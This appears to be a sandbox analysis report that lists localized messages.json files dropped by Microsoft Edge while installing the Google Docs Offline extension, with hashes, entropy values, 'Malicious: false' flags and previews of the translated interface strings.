SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
